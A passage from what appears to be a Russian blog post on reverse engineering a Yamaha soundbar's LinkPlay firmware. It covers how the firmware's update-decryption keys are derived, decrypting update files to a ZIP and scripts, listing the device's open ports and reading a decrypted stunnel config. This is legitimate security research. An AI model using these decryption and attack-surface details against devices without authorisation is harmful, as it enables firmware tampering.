\u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>WiimuContextGet()<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0444\u0430\u0439\u043b\u0435 <code>libmvmsg.so<\/code>. \u041d\u043e \u0438 \u0442\u0430\u043c \u043c\u043d\u0435 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043d\u0430\u0439\u0442\u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439. \u0417\u0430\u0442\u043e \u043d\u0430\u0448\u043b\u0438\u0441\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/afc\/3a9\/d7e\/afc3a9d7e0e8a3f2053b887614b94475.png\" alt=\"WiimuContextXXX\" title=\"WiimuContextXXX\" width=\"558\" height=\"122\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/afc\/3a9\/d7e\/afc3a9d7e0e8a3f2053b887614b94475.png\"\/><\/p>\n<div><figcaption><code>WiimuContextXXX<\/code><\/figcaption><\/div>\n<\/figure>\n<p>\u041c\u043e\u0451 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u043b\u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u2014 <code>WiimuContextCreate()<\/code>. \u0412 \u043d\u0435\u0439 \u0441\u0430\u043c\u043e\u0439, \u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043a\u043b\u044e\u0447 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043d\u0435 \u0437\u0430\u0434\u0430\u044e\u0442\u0441\u044f, \u0437\u0430\u0442\u043e \u044d\u0442\u043e \u043d\u0430\u0432\u0435\u043b\u043e \u043c\u0435\u043d\u044f \u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u0447\u0442\u043e \u0432 \u0442\u0435\u0445 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u0445, \u0433\u0434\u0435 \u044d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0438 \u0431\u0443\u0434\u0443\u0442 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0439:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/331\/fcc\/a43\/331fcca43205e8efd4ef8b471b12d619.png\" alt=\"\u0413\u0434\u0435-\u0442\u043e \u0442\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0434\u043b\u044f Wiimu\" title=\"\u0413\u0434\u0435-\u0442\u043e \u0442\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0434\u043b\u044f Wiimu\" width=\"692\" height=\"436\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/331\/fcc\/a43\/331fcca43205e8efd4ef8b471b12d619.png\"\/><\/p>\n<div><figcaption>\u0413\u0434\u0435-\u0442\u043e \u0442\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0434\u043b\u044f Wiimu<\/figcaption><\/div>\n<\/figure>\n<p>\u0410 \u0432\u043e\u0442 \u044d\u0442\u043e, \u0432\u0438\u0434\u0438\u043c\u043e, \u0443\u0436\u0435 \u0442\u043e \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e! \u041d\u0435\u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u043f\u043e <code>rootApp<\/code> \u0432\u044b\u0434\u0430\u0451\u0442 \u043d\u0430\u043c \u0442\u0430\u043a\u043e\u0439 \u0432\u043e\u0442 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043a\u043e\u0434\u0430:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/90e\/36f\/bec\/90e36fbec2ccb33cde3a7861f032224a.png\" alt=\"\u0410 \u0432\u043e\u0442 \u0438 \u043d\u0430\u0448\u0438 \u043a\u043b\u044e\u0447\u0438\u043a\u0438\" title=\"\u0410 \u0432\u043e\u0442 \u0438 \u043d\u0430\u0448\u0438 \u043a\u043b\u044e\u0447\u0438\u043a\u0438\" width=\"631\" height=\"106\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/90e\/36f\/bec\/90e36fbec2ccb33cde3a7861f032224a.png\"\/><\/p>\n<div><figcaption>\u0410 \u0432\u043e\u0442 \u0438 \u043d\u0430\u0448\u0438 \u043a\u043b\u044e\u0447\u0438\u043a\u0438<\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u043e\u0445\u043e\u0436\u0435, \u043f\u0430\u0437\u043b \u0441\u043b\u043e\u0436\u0438\u043b\u0441\u044f. \u0412\u0435\u0440\u043d\u0451\u043c\u0441\u044f \u043a \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0438, \u0441\u0430\u043c\u043e \u0436\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0438\u0434\u0451\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0441\u0442\u0440\u043e\u0447\u043a\u043e\u0439:<\/p>\n<pre><code class=\"cpp\">prepare_keys(); decrypt_with_Tmpx93st93(\"\/media\/yamaha_usb_upgrade.enc\", \"\/tmp\/yamaha_usb_upgrade.sh\");<\/code><\/pre>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u044f <code>decrypt_with_Tmpx93st93()<\/code> \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0440\u0430\u0439\u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0439:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/809\/6db\/2e1\/8096db2e15d45cbed4213db742f4401c.png\" alt=\"decrypt_with_Tmpx93st93()\" title=\"decrypt_with_Tmpx93st93()\" width=\"727\" height=\"115\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/809\/6db\/2e1\/8096db2e15d45cbed4213db742f4401c.png\"\/><\/p>\n<div><figcaption><code>decrypt_with_Tmpx93st93()<\/code><\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u043a\u043b\u044e\u0447, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d \u0434\u0440\u0443\u0433\u0438\u043c \u043a\u043b\u044e\u0447\u043e\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0451 \u0432 \u0442\u043e\u043c \u0436\u0435 <code>openssl\/aes-128-cbc<\/code> \u2014 \u0443\u0436\u0435 \u0434\u043b\u044f \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u0444\u0430\u0439\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \u041d\u0430\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u043c \u0432\u043d\u043e\u0432\u044c \u043f\u0440\u0438\u043e\u0431\u0440\u0435\u0442\u0451\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u043d\u0438\u044f \u0432 <a href=\"https:\/\/gist.github.com\/lab313ru\/474fc32f76ce3c23698d905dc0df16af\">\u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043d\u0430 Python<\/a> \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c \u0435\u0433\u043e \u043d\u0430 \u0444\u0430\u0439\u043b\u0435 <code>update.enc<\/code>. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043e\u0431\u044b\u043a\u043d\u043e\u0432\u0435\u043d\u043d\u044b\u0439 ZIP-\u0430\u0440\u0445\u0438\u0432:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6ad\/676\/efe\/6ad676efe7a206cbc94c87a8538f40e2.png\" alt=\"\u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u0438!\" title=\"\u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u0438!\" width=\"722\" height=\"119\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6ad\/676\/efe\/6ad676efe7a206cbc94c87a8538f40e2.png\"\/><\/p>\n<div><figcaption>\u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u0438!<\/figcaption><\/div>\n<\/figure>\n<p>\u0422\u0430\u043a\u0438\u043c \u0436\u0435 \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b <code>yamaha_usb_upgrade.enc<\/code>:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f94\/117\/02d\/f9411702def78a768ab04bd895524431.png\" alt=\"\u041f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\" title=\"\u041f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\" width=\"659\" height=\"536\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f94\/117\/02d\/f9411702def78a768ab04bd895524431.png\"\/><\/p>\n<div><figcaption>\u041f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u043a\u0440\u0438\u043f\u0442<\/figcaption><\/div>\n<\/figure>\n<p>\u0418 <code>mcu.enc<\/code>:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/283\/464\/ba4\/283464ba4a2b459a2a2489db02c59202.png\" alt=\"\u041d\u0435 \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\" title=\"\u041d\u0435 \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\" width=\"681\" height=\"551\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/283\/464\/ba4\/283464ba4a2b459a2a2489db02c59202.png\"\/><\/p>\n<div><figcaption>\u041d\u0435 \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u043a\u0440\u0438\u043f\u0442<\/figcaption><\/div>\n<\/figure>\n<p>\u0412\u043e\u0442 \u043f\u043e \u0441\u0443\u0442\u0438 \u0438 \u0432\u0441\u0451, \u0447\u0435\u0433\u043e \u044f \u0445\u043e\u0442\u0435\u043b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e. \u041d\u043e \u0432\u0435\u0434\u044c \u044d\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u043a\u043e\u043d\u0435\u0446?<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3a8\/f41\/052\/3a8f410524b4cba528e60014a9c84bb9.png\" alt=\"Padme\" title=\"Padme\" width=\"925\" height=\"800\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3a8\/f41\/052\/3a8f410524b4cba528e60014a9c84bb9.png\"\/><\/p>\n<div><figcaption>Padme<\/figcaption><\/div>\n<\/figure>\n<p>\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0436\u0435 \u0435\u0449\u0451 \u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u0441\u0435\u0442\u044c\u044e \u0432\u0437\u0433\u043b\u044f\u043d\u0443\u0442\u044c. \u0412\u043e\u0442 \u0438 \u044f \u0445\u043e\u0442\u0435\u043b \u0431\u044b\u2026 \u041d\u043e \u0432 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043a\u043e\u043b\u043e\u043d\u043a\u0430 \u043b\u0435\u0436\u0438\u0442 \u0437\u0430\u043a\u0438\u0440\u043f\u0438\u0447\u0435\u043d\u043d\u0430\u044f \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u2014 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0435\u0439 (\u043a\u0440\u0438\u0432\u043e\u0439, \u043a\u043e\u043d\u0435\u0447\u043d\u043e) \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442 \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0430\u0433\u0443\u0431\u043d\u043e \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0441\u0442\u0430\u0440\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u043a\u0430 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0438\u043c\u0441\u044f \u043d\u0430 \u043f\u043e\u0438\u0441\u043a \u043c\u0435\u0441\u0442, \u043e\u0442\u043a\u0443\u0434\u0430 \u0441\u0430\u0443\u043d\u0434\u0431\u0430\u0440 \u0441\u0438\u0444\u043e\u043d\u0438\u0442.<\/p>\n<p><em>\u2014 \u0410\u0432\u0442\u043e\u0440, \u043d\u0435 \u0442\u043e\u043c\u0438!!! \u0421\u0438\u0444\u043e\u043d\u0438\u0442?<\/em><\/p>\n<p><em>\u2014 \u0421\u0438\u0444\u043e\u043d\u0438\u0442 \ud83d\ude42<\/em><\/p>\n<p>\u0422\u0443\u0442 \u044f \u0445\u043e\u0447\u0443 \u043f\u0440\u0438\u0437\u043d\u0430\u0442\u044c\u0441\u044f. \u041a\u043e\u0433\u0434\u0430 \u044f \u043f\u0438\u0441\u0430\u043b \u044d\u0442\u043e\u0442 \u043e\u0442\u0432\u0435\u0442, \u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0433\u0430\u0434\u044b\u0432\u0430\u043b\u0441\u044f, \u0447\u0442\u043e \u0434\u0435\u0432\u0430\u0439\u0441 \u0434\u0435\u043b\u0430\u0435\u0442 \u0447\u0442\u043e-\u0442\u043e \u043d\u0435\u0445\u043e\u0440\u043e\u0448\u0435\u0435, \u043d\u043e \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u2014 \u043d\u0435 \u0437\u043d\u0430\u043b. \u042f \u0432\u0438\u0434\u0435\u043b \u0432 \u043b\u043e\u0433\u0430\u0445 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u0445 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439 \u0441\u0430\u0439\u0442\u043e\u0432 \u0442\u0438\u043f\u0430 <code>ota.linkplay.com<\/code><em>, <\/em><code>a001.linkplay.com<\/code><em>, <\/em><code>cloud-jobs.linkplay.com<\/code>, <code>www.wiimu.com<\/code><em>,<\/em> <code>www.muzohifi.com<\/code>, <code>avpro.global.yamaha.com<\/code>, <code>aws.amazon.com<\/code>; \u0441\u0442\u0440\u043e\u0447\u0435\u043a \u043d\u0430\u043f\u043e\u0434\u043e\u0431\u0438\u0435 <code>pingbaidu<\/code>; \u043f\u043e\u0440\u0442\u043e\u0432 \u0441 \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043e\u0442\u0432\u0435\u0442\u043e\u043c \u043e\u0442 \u043d\u0438\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 \u0441\u0432\u0435\u0442\u044f\u0442 \u043d\u0430 <code>0.0.0.0.<\/code> \u041f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0441\u043e \u0432\u0441\u0435\u043c \u044d\u0442\u0438\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f.<\/p>\n<p>\u0418 \u043d\u0430\u0447\u0430\u0442\u044c \u043f\u0440\u043e\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 <code>netstat -tulpan<\/code> \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f, \u043a\u0430\u043a\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043f\u043e\u0440\u0442\u044b \u0443 \u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b \u0432\u043e\u0432\u043d\u0435:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b26\/419\/e67\/b26419e675023815f4d8453f32ec9b49.png\" alt=\"netstat -tulpan\" title=\"netstat -tulpan\" width=\"730\" height=\"457\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b26\/419\/e67\/b26419e675023815f4d8453f32ec9b49.png\"\/><\/p>\n<div><figcaption>netstat -tulpan<\/figcaption><\/div>\n<\/figure>\n<p>\u041c\u043e\u0436\u043d\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f:<\/p>\n<ul>\n<li>\n<p><code>AvsMrmPlayer: 55442\/TCP, 55443\/TCP<\/code><\/p>\n<\/li>\n<li>\n<p><code>a01controller: 8819\/TCP, 49152\/TCP, 59152\/TCP, 1900\/UDP<\/code><\/p>\n<\/li>\n<li>\n<p><code>stunnel: 443\/TCP<\/code><\/p>\n<\/li>\n<li>\n<p><code>spotify_connect: 5356\/TCP, 5353\/UDP<\/code><\/p>\n<\/li>\n<li>\n<p><code>mdnsd: 5353\/UDP, 56811\/UDP, 54174\/UDP<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u0417\u0430\u0431\u0430\u0432\u043d\u043e, \u043d\u043e \u043a\u0430\u0436\u0434\u043e\u0435 \u0438\u0437 \u043d\u0438\u0445 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 <code>rootApp<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u0437\u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e.<\/p>\n<h3>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 rootApp<\/h3>\n<p>\u041f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043c\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043c, \u0441\u0442\u043e\u0438\u0442 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u043e\u0431\u0449\u0430\u044e\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439:<\/p>\n<ol>\n<li>\n<p> \u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 <code>\/tmp<\/code> \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0444\u0430\u0439\u043b \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0438\u043c\u0435\u043d\u0435\u043c, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0441\u043b\u0435\u0434\u0438\u0442 \u0442\u043e\u0442 \u0438\u043b\u0438 \u0438\u043d\u043e\u0439 \u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n<\/li>\n<li>\n<p> \u041f\u0440\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0435\u0433\u043e \u0432\u044b\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.<\/p>\n<\/li>\n<li>\n<p> \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u0442 \u0436\u0435 \u0444\u0430\u0439\u043b.<\/p>\n<\/li>\n<\/ol>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f <code>rootApp<\/code> \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f <code>\/tmp\/RequestGoheadCmd<\/code>.<\/p>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0451\u043c \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043a \u0435\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443. \u0412\u043e\u0442 \u043d\u0430\u0447\u0430\u043b\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>main()<\/code>:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/eba\/c16\/d85\/ebac16d85c05b31129e2a4481f1cf790.png\" alt=\"\u0427\u0442\u043e-\u0442\u043e \u043a\u0440\u0430\u0439\u043d\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435\" title=\"\u0427\u0442\u043e-\u0442\u043e \u043a\u0440\u0430\u0439\u043d\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435\" width=\"708\" height=\"307\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/eba\/c16\/d85\/ebac16d85c05b31129e2a4481f1cf790.png\"\/><\/p>\n<div><figcaption>\u0427\u0442\u043e-\u0442\u043e \u043a\u0440\u0430\u0439\u043d\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435<\/figcaption><\/div>\n<\/figure>\n<p>\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e RC4 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0438 \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u0434\u043b\u044f <code>stunnel<\/code>, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043e\u043d \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f. \u041a\u0430\u043a \u043f\u043e \u043c\u043d\u0435, \u043a\u0440\u0430\u0439\u043d\u0435 \u043d\u0435\u043a\u0440\u0430\u0441\u0438\u0432\u043e \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0438 \u0438 \u043a\u043b\u044e\u0447\u0438, \u0430 \u0442\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 TLS-\u0442\u0443\u043d\u043d\u0435\u043b\u044f. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 <a href=\"https:\/\/gist.github.com\/lab313ru\/7aa894689d3d61db3089fd732eff305f\">\u0440\u0430\u0441\u0448\u0438\u0444\u0440\u0443\u0435\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0438<\/a> \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0442\u0430\u043c:<\/p>\n<pre><code class=\"json\">[web_https] accept = 443 connect = 127.0.0.1:80 cert = \/system\/workdir\/misc\/stunnel.pem requireCert = yes verify = 2 checkHost = www.linkplay.com checkEmail = mail@linkplay.com CAfile = \/system\/workdir\/misc\/ca.pem<\/code><\/pre>\n<p>\u0412\u0438\u0434\u0438\u043c, \u0447\u0442\u043e 